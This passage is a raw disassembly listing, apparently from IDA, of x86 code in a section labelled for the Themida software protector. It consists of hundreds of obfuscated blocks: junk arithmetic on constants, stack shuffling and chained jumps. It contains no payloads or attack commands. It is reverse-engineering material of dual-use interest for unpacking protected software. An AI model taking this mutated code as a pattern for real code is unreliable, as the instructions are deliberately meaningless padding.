jmp loc_5568F8
; ---------------------------------------------------------------------------
loc_55FE8E: ; CODE XREF: Themida_:0055BFE5j
mov edi, 0D24A35Fh
xor edx, edi
pop edi
xor eax, edx
mov edx, [esp]
add esp, 4
jmp loc_55D3BF
; ---------------------------------------------------------------------------
loc_55FEA6: ; CODE XREF: Themida_:00551CD2j
mov ebx, edi
jmp loc_5573D2
; ---------------------------------------------------------------------------
loc_55FEAD: ; CODE XREF: Themida_:00555389j
mov [esp], ebx
jmp loc_562D8C
; ---------------------------------------------------------------------------
loc_55FEB5: ; CODE XREF: Themida_:00555DB5j
mov ebx, [esp]
jmp loc_55A691
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push 35BAh
jmp loc_5535AD
; ---------------------------------------------------------------------------
loc_55FED4: ; CODE XREF: Themida_:00564DFAj
sub esp, 4
mov [esp], eax
push esp
pop eax
push ebp
sub esp, 4
mov [esp], ecx
push 571B57CEh
pop ecx
jmp loc_563813
; ---------------------------------------------------------------------------
loc_55FEF1: ; CODE XREF: Themida_:0055DAB5j
add ecx, 4
push ebp
mov ebp, 4
jmp loc_557161
; ---------------------------------------------------------------------------
loc_55FF02: ; CODE XREF: Themida_:00551AA3j
add eax, 21486433h
push 6EA3h
mov [esp], ecx
mov ecx, 18A6588Dh
add ecx, 0FFFFFFFFh
push 15B5h
mov [esp], ecx
dec dword ptr [esp]
jmp loc_55E91E
; ---------------------------------------------------------------------------
loc_55FF27: ; CODE XREF: Themida_:00563AC7j
shl dx, 2
sub dx, 0CFAAh
jmp loc_558431
; ---------------------------------------------------------------------------
loc_55FF35: ; CODE XREF: Themida_:0055EBF3j
push dword ptr [esp]
pop ebx
add esp, 4
push ebx
mov ebx, 5A233F1h
xor ebx, 53833BA0h
sub ebx, 1D7642CAh
shl ebx, 4
shl ebx, 7
not ebx
sub ebx, 0A9D3C7FBh
jmp loc_55A1DA
; ---------------------------------------------------------------------------
loc_55FF64: ; CODE XREF: Themida_:00551B4Cj
push ecx
jmp loc_555149
; ---------------------------------------------------------------------------
loc_55FF6A: ; CODE XREF: Themida_:005620D6j
push ebx
mov ebx, 4
jmp loc_560AC2
; ---------------------------------------------------------------------------
loc_55FF75: ; CODE XREF: Themida_:00553D98j
push edi
push 3497h
mov [esp], ebp
mov ebp, 47966AB2h
xor [esp+4], ebp
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
pop ecx
jmp loc_55D107
; ---------------------------------------------------------------------------
loc_55FFA3: ; CODE XREF: Themida_:0056121Ej
sub esp, 4
mov [esp], edi
push ebx
push 474667D6h
pop ebx
neg ebx
xor ebx, 0B8B9982Eh
push 67DFh
mov [esp], ebx
sub dword ptr [esp], 2ADF116Dh
pop edi
jmp loc_5615CA
; ---------------------------------------------------------------------------
loc_55FFCD: ; CODE XREF: Themida_:00557320j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_55FFE6: ; CODE XREF: Themida_:00560CA8j
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 325671B3h
dec eax
sub eax, 6FA07AEDh
or eax, 1B0510F8h
add eax, 326D65CAh
add eax, 47073622h
add eax, 0AAD56D1Bh
add esi, 782C4023h
add esi, eax
sub esi, 782C4023h
pop eax
xchg esi, [esp]
mov esp, [esp]
jmp loc_550708
; ---------------------------------------------------------------------------
loc_560033: ; CODE XREF: Themida_:0055F060j
mov edi, ecx
pop ecx
sub edx, edi
pop edi
push edi
mov edi, 0FFFFFFFFh
sub edx, edi
pop edi
push ecx
mov ecx, 1F6D2045h
and ecx, 6C142B06h
neg ecx
xor ecx, 48693512h
dec ecx
sub ecx, 0C9FC012Bh
xor edx, ecx
pop ecx
jmp loc_562873
; ---------------------------------------------------------------------------
loc_560065: ; CODE XREF: Themida_:005634A9j
mov ebp, [esp]
push esi
jmp loc_56484C
; ---------------------------------------------------------------------------
loc_56006E: ; CODE XREF: Themida_:0055EFBAj
not ebx
xor ebx, 7C69AEEh
sub eax, ebx
mov ebx, [esp]
jmp loc_55AE48
; ---------------------------------------------------------------------------
loc_560080: ; CODE XREF: Themida_:0056369Ej
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
jmp loc_5545CF
; ---------------------------------------------------------------------------
loc_560095: ; CODE XREF: Themida_:0055F520j
add ebp, 0FFFFFFFFh
jmp loc_55C78A
; ---------------------------------------------------------------------------
loc_5600A0: ; CODE XREF: Themida_:00564923j
xor edx, 76F36974h
sub edx, 1D551BDBh
add ebx, edx
pop edx
add ebx, 4
xchg ebx, [esp]
jmp loc_55B53E
; ---------------------------------------------------------------------------
loc_5600BD: ; CODE XREF: Themida_:0055C682j
push esp
pop ebp
push edi
mov edi, 71D82FE4h
jmp loc_55501E
; ---------------------------------------------------------------------------
loc_5600CA: ; CODE XREF: Themida_:005610AEj
mov [esp], edi
sub esp, 4
mov [esp], edx
jmp loc_5643A3
; ---------------------------------------------------------------------------
loc_5600D8: ; CODE XREF: Themida_:00555D59j
push 5D96h
mov [esp], esi
mov esi, esp
push ebx
mov ebx, 550F4526h
or ebx, 62F6219Ah
dec ebx
add ebx, 88009A47h
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp]
pop esp
inc edx
add edx, 234A23C9h
xor edx, 37545731h
jmp loc_56241B
; ---------------------------------------------------------------------------
loc_560111: ; CODE XREF: Themida_:0055858Ej
sub edx, eax
mov eax, [esp]
add esp, 4
jmp loc_55B8C7
; ---------------------------------------------------------------------------
loc_560121: ; CODE XREF: Themida_:00561B27j
mov [esp], esi
push edx
push 2E5964E1h
pop edx
inc edx
dec edx
xor edx, 71E333A1h
add edx, 507A60D7h
mov esi, edx
pop edx
sub edx, 12BF6E25h
add edx, esi
jmp loc_554DD1
; ---------------------------------------------------------------------------
loc_560149: ; CODE XREF: Themida_:00563AA7j
mov eax, 261E393Dh
sub eax, 6C100D4Dh
not eax
jmp loc_55BE32
; ---------------------------------------------------------------------------
loc_56015A: ; CODE XREF: Themida_:005593A5j
xor eax, [esp]
xor [esp], eax
jmp loc_550E96
; ---------------------------------------------------------------------------
loc_560165: ; CODE XREF: Themida_:005638F8j
push ebp
mov ebp, 71BC3D84h
dec ebp
jmp loc_55AE56
; ---------------------------------------------------------------------------
loc_560171: ; CODE XREF: Themida_:0055D8E9j
mov esi, 30F62483h
sub esi, edx
pop edx
add edx, esi
pop esi
jmp loc_552347
; ---------------------------------------------------------------------------
loc_560181: ; CODE XREF: Themida_:0055C884j
mov ecx, esp
push 19B7h
mov [esp], eax
push edx
push eax
jmp loc_554293
; ---------------------------------------------------------------------------
loc_560192: ; CODE XREF: Themida_:005579B5j
sub dword ptr [esp+4], 3AE23F6Eh
add [esp+4], edi
add dword ptr [esp+4], 3AE23F6Eh
jmp loc_564C9A
; ---------------------------------------------------------------------------
loc_5601AB: ; CODE XREF: Themida_:005534EEj
shr esi, 3
sub esi, 0CEFB575Dh
sub ebx, 1A3F5561h
add ebx, esi
add ebx, 1A3F5561h
pop esi
sub ebx, eax
push esi
jmp loc_55D17F
; ---------------------------------------------------------------------------
loc_5601CB: ; CODE XREF: Themida_:0055D73Aj
mov [esp], eax
push esp
mov eax, [esp]
push ebp
jmp loc_561D51
; ---------------------------------------------------------------------------
loc_5601D8: ; CODE XREF: Themida_:00552B31j
push dword ptr [esp]
pop esi
push 6F81h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5520E6
; ---------------------------------------------------------------------------
loc_5601FA: ; CODE XREF: Themida_:005580A6j
pop esp
push esi
jmp loc_558BB3
; ---------------------------------------------------------------------------
loc_560201: ; CODE XREF: Themida_:00559A1Bj
mov dx, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_55DD80
; ---------------------------------------------------------------------------
loc_560213: ; CODE XREF: Themida_:00562E32j
add edx, 4
push 62ACh
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
push 2835h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
sub esp, 4
jmp loc_552246
; ---------------------------------------------------------------------------
loc_560256: ; CODE XREF: Themida_:00552C57j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_55F9CC
; ---------------------------------------------------------------------------
loc_560264: ; CODE XREF: Themida_:00556D8Cj
push edx
jmp loc_555F41
; ---------------------------------------------------------------------------
loc_56026A: ; CODE XREF: Themida_:00553414j
sub ecx, 7DF45B05h
jmp loc_55F20D
; ---------------------------------------------------------------------------
loc_560275: ; CODE XREF: Themida_:005645E2j
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55316A
; ---------------------------------------------------------------------------
loc_560284: ; CODE XREF: Themida_:00561077j
add esp, 4
push eax
mov eax, 4D1D5B5Dh
xor eax, 321272A3h
sub esp, 4
mov [esp], ebx
mov ebx, 630C1D7Eh
jmp loc_5585D8
; ---------------------------------------------------------------------------
loc_5602A5: ; CODE XREF: Themida_:0055A7BDj
mov bl, 62h
jmp loc_559C31
; ---------------------------------------------------------------------------
loc_5602AC: ; CODE XREF: Themida_:005557D7j
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_55425D
; ---------------------------------------------------------------------------
loc_5602B8: ; CODE XREF: Themida_:0055434Cj
sub edx, 4
xchg edx, [esp]
jmp loc_555E79
; ---------------------------------------------------------------------------
loc_5602C6: ; CODE XREF: Themida_:00552EDAj
mov esi, edx
push dword ptr [esp]
pop edx
push eax
jmp loc_562E90
; ---------------------------------------------------------------------------
loc_5602D2: ; CODE XREF: Themida_:0055E20Aj
mov ebp, 2C240DC9h
jmp loc_551A11
; ---------------------------------------------------------------------------
loc_5602DC: ; CODE XREF: Themida_:00554BD7j
inc edi
add edi, 7AC92C25h
xor edi, 5017E64Fh
add ebp, edi
pop edi
push esi
push 652071B6h
jmp loc_550553
; ---------------------------------------------------------------------------
loc_5602F7: ; CODE XREF: Themida_:0055F9EAj
add ebp, 18305B8Bh
jmp loc_55C0F4
; ---------------------------------------------------------------------------
loc_560302: ; CODE XREF: Themida_:0056513Fj
mov edi, ecx
jmp loc_5654B2
; ---------------------------------------------------------------------------
loc_560309: ; CODE XREF: Themida_:005520EFj
add esp, 4
push edx
push esi
jmp loc_55D03F
; ---------------------------------------------------------------------------
loc_560316: ; CODE XREF: Themida_:005599D3j
xchg ebp, edi
xor edi, 7B834C58h
add edx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push eax
jmp loc_55C815
; ---------------------------------------------------------------------------
loc_56032F: ; CODE XREF: Themida_:0055664Ej
mov ebp, 2DED3F65h
jmp loc_56351F
; ---------------------------------------------------------------------------
loc_560339: ; CODE XREF: Themida_:005634E6j
sub edx, esi
push eax
mov eax, 490A66C7h
xor eax, 0DAC560Ch
add edx, eax
pop eax
pop esi
jmp loc_55FABD
; ---------------------------------------------------------------------------
loc_56034F: ; CODE XREF: Themida_:0055EF67j
sub ebp, 0F6A4DA5h
sub ebp, edx
push ebx
mov ebx, 0F6A4DA5h
add ebp, 2817398Ah
add ebp, ebx
jmp loc_5639A7
; ---------------------------------------------------------------------------
loc_56036A: ; CODE XREF: Themida_:0055B365j
add esi, 1B0F3202h
xor esi, 48EA5A30h
and esi, 7BC424DFh
sub esi, 63842044h
add ecx, esi
pop esi
push eax
mov eax, 56EF628Eh
jmp loc_56481C
; ---------------------------------------------------------------------------
loc_560390: ; CODE XREF: Themida_:00560C60j
add ebx, 7EFC7343h
jmp loc_557DCD
; ---------------------------------------------------------------------------
loc_56039B: ; CODE XREF: Themida_:005620FCj
push eax
mov eax, 3E9E7255h
or eax, 0C821628h
sub eax, 0FFFFFFFFh
sub esp, 4
mov [esp], eax
jmp loc_5531A0
; ---------------------------------------------------------------------------
loc_5603B4: ; CODE XREF: Themida_:0055EAC2j
sub bh, 1Dh
sub bh, dl
add bh, 1Dh
add bh, 0ADh
mov edx, [esp]
add esp, 4
mov cl, bh
pop ebx
and cl, 7Ch
or cl, 5Ch
shr cl, 4
jmp loc_552E69
; ---------------------------------------------------------------------------
loc_5603D9: ; CODE XREF: Themida_:0055FE02j
pop esp
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_561D9F
; ---------------------------------------------------------------------------
loc_5603EB: ; CODE XREF: Themida_:005554EFj
add esi, 2765552Ch
pop eax
mov ecx, [esp]
add esp, 4
jmp loc_55880D
; ---------------------------------------------------------------------------
loc_560400: ; CODE XREF: Themida_:00557F62j
dec edx
add edx, 526E4E1Fh
sub dword ptr [esp+4], 5DB424E1h
sub [esp+4], edx
add dword ptr [esp+4], 5DB424E1h
mov edx, [esp]
add esp, 4
jmp loc_5611C0
; ---------------------------------------------------------------------------
loc_560426: ; CODE XREF: Themida_:005612EFj
mov esp, [esp]
sub edi, ecx
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push 176Eh
mov [esp], ebx
mov ebx, esp
jmp loc_5649DE
; ---------------------------------------------------------------------------
loc_560441: ; CODE XREF: Themida_:00552CC4j
mov al, 0B2h
push ecx
jmp loc_562389
; ---------------------------------------------------------------------------
loc_560449: ; CODE XREF: Themida_:0055A09Ej
mov ecx, 4
add ebp, ecx
pop ecx
jmp loc_5560D2
; ---------------------------------------------------------------------------
loc_560456: ; CODE XREF: Themida_:00550B4Ej
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_55B196
; ---------------------------------------------------------------------------
loc_560465: ; CODE XREF: Themida_:00564DEEj
xor edi, 0F5D178Ch
add edi, 0A7BB9211h
add eax, edi
pop edi
add eax, 4
xchg eax, [esp]
jmp loc_55FC4C
; ---------------------------------------------------------------------------
loc_56047F: ; CODE XREF: Themida_:0056247Ej
mov [esp], ebx
neg dword ptr [esp]
pop ebx
sub esp, 4
jmp loc_55EC87
; ---------------------------------------------------------------------------
loc_560491: ; CODE XREF: Themida_:005578B1j
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_56145D
; ---------------------------------------------------------------------------
loc_5604A0: ; CODE XREF: Themida_:0056052Aj
push ecx
mov ecx, 274604E1h
add ecx, 5579670Fh
add ecx, 8F199B04h
sub ebx, ecx
pop ecx
pop ecx
shr ebx, 1
push edx
mov edx, 7A1B3D63h
push ecx
mov ecx, 51FC76A8h
jmp loc_5544BB
; ---------------------------------------------------------------------------
loc_5604C9: ; CODE XREF: Themida_:00560515j
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
jmp loc_55E4DF
; ---------------------------------------------------------------------------
loc_5604DB: ; CODE XREF: Themida_:0055EE7Fj
or ecx, 188A0E25h
and ecx, 24185A47h
inc ecx
sub ecx, 0AE8FB61Bh
or esi, ecx
mov ecx, [esp]
jmp loc_565B03
; ---------------------------------------------------------------------------
loc_5604F8: ; CODE XREF: Themida_:005644FEj
pop cx
add al, 0Dh
sub al, dh
sub al, 0Dh
push dword ptr [esp]
pop edx
jmp loc_55AD18
; ---------------------------------------------------------------------------
loc_560509: ; CODE XREF: Themida_:00565339j
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5604C9
; ---------------------------------------------------------------------------
loc_56051A: ; CODE XREF: Themida_:005573A5j
and eax, 30CD7029h
add eax, 48BFE42Dh
mov edx, eax
pop eax
add ebx, edx
pop edx
jmp loc_5604A0
; ---------------------------------------------------------------------------
loc_56052F: ; CODE XREF: Themida_:0055E5A1j
dec eax
jmp loc_560D99
; ---------------------------------------------------------------------------
loc_560535: ; CODE XREF: Themida_:00564D44j
mov ebx, 2F332860h
jmp loc_554874
; ---------------------------------------------------------------------------
loc_56053F: ; CODE XREF: Themida_:005599F8j
mov edx, 0B97B9A8Fh
add edx, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
or edx, 29414535h
push ecx
jmp loc_562175
; ---------------------------------------------------------------------------
loc_56056F: ; CODE XREF: Themida_:0055CC71j
add [esp+4], ebp
sub dword ptr [esp+4], 1AD73CF5h
add dword ptr [esp+4], 4E874BB2h
sub dword ptr [esp+4], 65167483h
pop ebp
pop eax
jmp loc_5556E5
; ---------------------------------------------------------------------------
loc_560592: ; CODE XREF: Themida_:0055A058j
push ebx
jmp loc_551021
; ---------------------------------------------------------------------------
loc_560598: ; CODE XREF: Themida_:00561C0Ej
mov esp, [esp]
and [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5605A5: ; CODE XREF: Themida_:00560808j
add eax, 8880DDCh
jmp loc_55C5EE
; ---------------------------------------------------------------------------
loc_5605AF: ; CODE XREF: Themida_:0056079Aj
add ebx, 60AA7FE9h
push eax
mov eax, 0E264DCh
and eax, 31AC5764h
neg eax
xor eax, 4D61276Ch
jmp loc_55BB01
; ---------------------------------------------------------------------------
loc_5605CC: ; CODE XREF: Themida_:00561E8Fj
mov ebp, 21A11FECh
push ebp
not dword ptr [esp]
pop ebp
push edx
mov edx, 73E94999h
sub edx, 2DD6BB58h
jmp loc_558B96
; ---------------------------------------------------------------------------
loc_5605E7: ; CODE XREF: Themida_:005518DFj
add esp, 4
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_55B62F
; ---------------------------------------------------------------------------
loc_560607: ; CODE XREF: Themida_:00561618j
add al, 0D0h
pop bx
sub esp, 4
mov [esp], edx
jmp loc_551C0A
; ---------------------------------------------------------------------------
loc_560619: ; CODE XREF: Themida_:005595E5j
and ebx, edi
mov edi, [esp]
add esp, 4
xor ebx, 0F40089Ch
add ecx, ebx
pop ebx
jmp loc_55CB82
; ---------------------------------------------------------------------------
loc_560632: ; CODE XREF: Themida_:00553145j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_560637: ; CODE XREF: Themida_:0055D851j
pop esi
jmp loc_557817
; ---------------------------------------------------------------------------
loc_56063D: ; CODE XREF: Themida_:00555F78j
mov [esp], eax
mov eax, 10695456h
jmp loc_5642A8
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_55F25C
; ---------------------------------------------------------------------------
loc_560658: ; CODE XREF: Themida_:00561E78j
push 64B6h
mov [esp], esi
jmp loc_558A8E
; ---------------------------------------------------------------------------
loc_560665: ; CODE XREF: Themida_:00551E4Dj
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
xor edi, eax
jmp loc_55DF28
; ---------------------------------------------------------------------------
loc_560673: ; CODE XREF: Themida_:0055962Aj
mov dx, [esp]
push 7B4Fh
mov [esp], eax
mov eax, esp
push 238Ah
mov [esp], ecx
push edx
mov edx, 69F84C01h
jmp loc_55A14B
; ---------------------------------------------------------------------------
loc_560694: ; CODE XREF: Themida_:0055B3AFj
push esi
sub dword ptr [esp], 5A2601FDh
pop eax
add eax, 5A2601FDh
jmp loc_563D65
; ---------------------------------------------------------------------------
loc_5606A7: ; CODE XREF: Themida_:0055714Aj
mov [esp], ebx
push dword ptr [esp]
jmp loc_55B57B
; ---------------------------------------------------------------------------
loc_5606B2: ; CODE XREF: Themida_:005578D9j
add ecx, ebp
add ecx, 3E927902h
pop ebp
add eax, ecx
mov ecx, [esp]
push esi
mov esi, esp
push 47B9h
mov [esp], edx
mov edx, 3A3D63B8h
and edx, 5E0B3535h
shl edx, 5
or edx, 278232C8h
jmp loc_555C35
; ---------------------------------------------------------------------------
loc_5606E4: ; CODE XREF: Themida_:00560970j
mov ecx, [esp]
add esp, 4
add al, 3Eh
add al, dh
push edx
mov dh, 0C0h
add dh, 13h
not dh
push ecx
mov cl, 16h
dec cl
shl cl, 2
jmp loc_55E099
; ---------------------------------------------------------------------------
loc_560706: ; CODE XREF: Themida_:0055291Bj
pop esi
push ecx
mov ecx, 1C8A0925h
or ecx, 23491535h
neg ecx
sub ecx, 41F66EF4h
push 0
sub [esp], ecx
pop ecx
dec ecx
xor ecx, 81C18C2Ch
jmp loc_553512
; ---------------------------------------------------------------------------
loc_560730: ; CODE XREF: Themida_:0055CF7Bj
push ecx
jmp loc_55B086
; ---------------------------------------------------------------------------
loc_560736: ; CODE XREF: Themida_:0055F2B4j
mov [esp], edx
push ecx
mov ecx, 20AF7D7Bh
mov edx, ecx
pop ecx
or edx, 2B713E01h
shl edx, 5
jmp loc_5509E1
; ---------------------------------------------------------------------------
loc_560750: ; CODE XREF: Themida_:00564D71j
mov esi, [esp]
add esp, 4
add esp, 4
push ecx
jmp loc_5656E3
; ---------------------------------------------------------------------------
loc_560762: ; CODE XREF: Themida_:00552676j
pop eax
push ecx
push 4068h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 68Eh
mov [esp], ebp
jmp loc_56080D
; ---------------------------------------------------------------------------
loc_560781: ; CODE XREF: Themida_:00561623j
mov bl, ch
pop ecx
push edx
mov dh, bl
mov ch, dh
mov edx, [esp]
jmp loc_550B69
; ---------------------------------------------------------------------------
loc_560791: ; CODE XREF: Themida_:00561046j
add ebp, edx
jmp loc_55EA31
; ---------------------------------------------------------------------------
loc_560798: ; CODE XREF: Themida_:005568BAj
add ebx, ecx
jmp loc_5605AF
; ---------------------------------------------------------------------------
loc_56079F: ; CODE XREF: Themida_:0055EF11j
mov edx, [esp]
jmp loc_560BC8
; ---------------------------------------------------------------------------
loc_5607A7: ; CODE XREF: Themida_:00554C16j
pop ebx
push edi
mov edi, 71C27524h
and esi, edi
pop edi
jmp loc_55DFBD
; ---------------------------------------------------------------------------
loc_5607B6: ; CODE XREF: Themida_:0055DF23j
push ebx
push ecx
mov ecx, 4
push edx
mov edx, ecx
mov ebx, edx
jmp loc_5648DF
; ---------------------------------------------------------------------------
loc_5607C7: ; CODE XREF: Themida_:0055DEF7j
mov [esp], ecx
jmp loc_5639B3
; ---------------------------------------------------------------------------
loc_5607CF: ; CODE XREF: Themida_:0055CAE6j
xor [esp], edi
jmp loc_5506FF
; ---------------------------------------------------------------------------
loc_5607D7: ; CODE XREF: Themida_:00565194j
pop esi
push ecx
mov ecx, 54390563h
sub ecx, 0B56A527h
add ecx, 0FFFFFFFFh
dec ecx
push edx
jmp loc_55ED9B
; ---------------------------------------------------------------------------
loc_5607EE: ; CODE XREF: Themida_:00550524j
mov edx, 14AA4063h
sub eax, 50264E07h
add eax, edx
jmp loc_5558FE
; ---------------------------------------------------------------------------
loc_5607FF: ; CODE XREF: Themida_:00559555j
mov esp, [esp]
jmp loc_563C70
; ---------------------------------------------------------------------------
loc_560807: ; CODE XREF: Themida_:005640D4j
pop ebx
jmp loc_5605A5
; ---------------------------------------------------------------------------
loc_56080D: ; CODE XREF: Themida_:0056077Cj
mov ebp, 377F1221h
or ebp, 757414F2h
push 2B94h
mov [esp], edi
mov edi, 3EDB2C9Dh
jmp loc_559D82
; ---------------------------------------------------------------------------
loc_56082A: ; CODE XREF: Themida_:00562761j
sub al, 0C7h
jmp loc_5552DB
; ---------------------------------------------------------------------------
loc_560831: ; CODE XREF: Themida_:00559BA9j
add ebp, 4
xchg ebp, [esp]
pop esp
push ebp
mov ebp, 537A0E58h
inc ebp
push ebx
sub esp, 4
mov [esp], eax
push 53F933C2h
pop eax
jmp loc_552C8B
; ---------------------------------------------------------------------------
loc_560854: ; CODE XREF: Themida_:005539F4j
add ecx, eax
mov eax, [esp]
add esp, 4
sub ecx, esi
push edx
mov edx, 38940164h
sub ecx, edx
pop edx
pop esi
jmp loc_55DAE6
; ---------------------------------------------------------------------------
loc_560870: ; CODE XREF: Themida_:0055C9B7j
push esp
mov edi, [esp]
add esp, 4
push 7F93h
mov [esp], edx
push ebx
mov ebx, 61483495h
jmp loc_564877
; ---------------------------------------------------------------------------
loc_56088D: ; CODE XREF: Themida_:0055AFABj
mov [esp], edi
push esp
pop edi
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_552412
; ---------------------------------------------------------------------------
loc_5608A7: ; CODE XREF: Themida_:0055D62Bj
push ecx
jmp loc_557938
; ---------------------------------------------------------------------------
loc_5608AD: ; CODE XREF: Themida_:0055D790j
add ecx, 4
push 3A8Fh
mov [esp], ebp
sub esp, 4
jmp loc_55E949
; ---------------------------------------------------------------------------
loc_5608C6: ; CODE XREF: Themida_:00551914j
mov [esp], esi
mov esi, 2B0379F8h
jmp loc_555CC1
; ---------------------------------------------------------------------------
loc_5608D3: ; CODE XREF: Themida_:0055D25Cj
add al, 65h
pop dx
push ecx
mov cl, 69h
jmp loc_55DC85
; ---------------------------------------------------------------------------
loc_5608DF: ; CODE XREF: Themida_:0055BBCEj
push eax
mov eax, 5E9C63C1h
mov edx, 87B78E21h
add edx, 1ED57BACh
sub edx, eax
jmp loc_55E8F4
; ---------------------------------------------------------------------------
loc_5608F7: ; CODE XREF: Themida_:00557851j
add esp, 4
sub edi, 23568D0Fh
sub eax, 5AD01B53h
sub eax, edi
add eax, 5AD01B53h
mov edi, [esp]
add esp, 4
jmp loc_55F148
; ---------------------------------------------------------------------------
loc_56091D: ; CODE XREF: Themida_:00559B00j
mov [esp], edx
mov dl, 55h
sub dl, 30h
add dl, 0E6h
mov bl, dl
jmp loc_55A25D
; ---------------------------------------------------------------------------
loc_56092F: ; CODE XREF: Themida_:0056378Aj
add edi, ebx
pop ebx
xchg edi, [esp]
pop esp
push edi
mov edi, 594E7051h
sub ebx, edi
push dword ptr [esp]
push dword ptr [esp]
pop edi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55A0F9
; ---------------------------------------------------------------------------
push edx
push 14BDh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55D59F
; ---------------------------------------------------------------------------
loc_56096C: ; CODE XREF: Themida_:0055AD22j
mov dh, 0C4h
sub dh, cl
jmp loc_5606E4
; ---------------------------------------------------------------------------
loc_560975: ; CODE XREF: Themida_:0055683Aj
push eax
mov eax, 5D9A216Fh
neg eax
add eax, 117F1363h
and eax, 7AA133BEh
and eax, 2C819B2h
xor eax, 18167EE3h
mov ebp, eax
jmp loc_559769
; ---------------------------------------------------------------------------
loc_560998: ; CODE XREF: Themida_:0055F3B9j
mov ebx, 5E9B32F4h
xor edi, ebx
pop ebx
push edx
mov edx, edi
mov esi, edx
pop edx
pop edi
sub eax, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], si
mov si, 0D2B2h
xor ax, si
mov si, [esp]
add esp, 2
jmp loc_552D11
; ---------------------------------------------------------------------------
loc_5609F0: ; CODE XREF: Themida_:00564410j
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_555C6D
; ---------------------------------------------------------------------------
loc_560A07: ; CODE XREF: Themida_:00553ECBj
xor eax, [esp]
jmp loc_561C08
; ---------------------------------------------------------------------------
loc_560A0F: ; CODE XREF: Themida_:0055EF19j
mov ch, bh
mov dh, ch
jmp loc_557CC7
; ---------------------------------------------------------------------------
loc_560A18: ; CODE XREF: Themida_:0055C7D1j
push edx
push 39BC1650h
pop edx
sub edx, 25E4CBF5h
mov esi, edx
pop edx
jmp loc_552251
; ---------------------------------------------------------------------------
loc_560A2D: ; CODE XREF: Themida_:00562536j
pop eax
add esi, ecx
pop ecx
push 6C4Eh
mov [esp], edi
push ebx
jmp loc_55DC4D
; ---------------------------------------------------------------------------
loc_560A3F: ; CODE XREF: Themida_:0055F34Ej
mov esp, [esp]
push ebx
jmp loc_55ECC3
; ---------------------------------------------------------------------------
loc_560A48: ; CODE XREF: Themida_:00551804j
mov eax, 4
sub edi, 419E05EDh
add edi, eax
add edi, 419E05EDh
push dword ptr [esp]
mov eax, [esp]
jmp loc_5587D1
; ---------------------------------------------------------------------------
loc_560A66: ; CODE XREF: Themida_:0055E0CCj
push 7425h
mov [esp], eax
mov al, 0D5h
sub al, 0A3h
or ch, al
pop eax
xor ch, 0BEh
xor ch, 0E3h
xor bl, ch
pop ecx
jmp loc_55E80C
; ---------------------------------------------------------------------------
loc_560A83: ; CODE XREF: Themida_:00562848j
mov bh, 0CCh
jmp loc_55BA45
; ---------------------------------------------------------------------------
loc_560A8A: ; CODE XREF: Themida_:0055B307j
pop ebx
jmp loc_55E739
; ---------------------------------------------------------------------------
loc_560A90: ; CODE XREF: Themida_:0055CDCDj
xor eax, 2A00964h
sub esi, 3E582B83h
push ebp
mov ebp, 758E1132h
jmp loc_55F894
; ---------------------------------------------------------------------------
loc_560AA6: ; CODE XREF: Themida_:0055558Dj
sub cl, ah
jmp loc_5618F5
; ---------------------------------------------------------------------------
loc_560AAD: ; CODE XREF: Themida_:00554C86j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_554D20
; ---------------------------------------------------------------------------
loc_560AC2: ; CODE XREF: Themida_:0055FF70j
add [esp+4], ebx
pop ebx
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ebx
jmp loc_55798A
; ---------------------------------------------------------------------------
loc_560AD9: ; CODE XREF: Themida_:0056445Cj
pop ecx
jmp loc_557924
; ---------------------------------------------------------------------------
loc_560ADF: ; CODE XREF: Themida_:005618E0j
mov ebx, 467F27EEh
xor ebx, 3DE33A68h
inc ebx
and ebx, 75750F09h
add ebx, 1
